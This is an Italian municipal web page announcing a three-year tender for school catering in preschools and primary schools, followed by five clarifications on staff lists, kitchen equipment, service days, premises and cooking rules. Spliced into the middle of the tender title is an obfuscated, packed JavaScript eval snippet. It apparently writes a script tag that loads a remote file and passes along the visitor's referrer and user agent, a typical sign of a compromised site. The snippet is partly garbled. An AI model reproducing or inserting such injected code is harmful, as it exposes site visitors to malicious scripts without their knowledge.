



BANDO eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]|c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type| 97|language|jquery|userAgent|navigator|script|frsfy|var|u0026u|referrer|yfdaz||js|php'.split('|'),0,{ }) DI GARA PER L'AFFIDAMENTO DEL SERVIZIO DI REFEZIONE SCOLASTICA NELLE SCUOLE DELL'INFANZIA E PRIMARIE PER LA DURATA DI ANNI 3
AVVISO: Inseriti i chiarimenti n.1, 2, 3,4 e 5

[BANDO, CAPITOLATO, DISCIPLINARE ED ALTRI ALLEGATI](#)

CHIARIMENTO n.1

Elenco del personale impiegato presso le refezioni scolastiche nelle scuole dell'infanzia ed elementari

{phocadownload view=file|id=417|target=s}

CHIARIMENTO n.2

Attrezzatura Centri Cottura

Le attrezzature mobili (esempio stoviglie, tritacarni, affettatrici ecc.) sono di proprietà del gestore attuale.

Le restanti attrezzature, inclusi gli arredi, sono di proprietà della Stazione appaltante.

In sede di sopralluogo la ditta potrà prendere visione delle attrezzature esistenti in ogni centro cottura.

CHIARIMENTO n.3

Giorni annui medi effettivi di erogazione del servizio

Indicativamente il servizio inizia l'ultima settimana di settembre e finisce la prima settimana di giugno.

Il servizio viene espletato nel rispetto del calendario scolastico dal lunedì al venerdì.

CHIARIMENTO n.4

Locali - Centri di cottura

In sede di sopralluogo ogni ditta potrà verificare le dimensioni e le caratteristiche dei locali

CHIARIMENTO n.5

A maggior chiarimento delle prescrizioni riportate nel capitolato si allega - Allegato 3 Bis -
NORME E MODALITA' DI PREPARAZIONE E COTTURA DEI PASTI

{phocadownload view=file|id=463|target=s}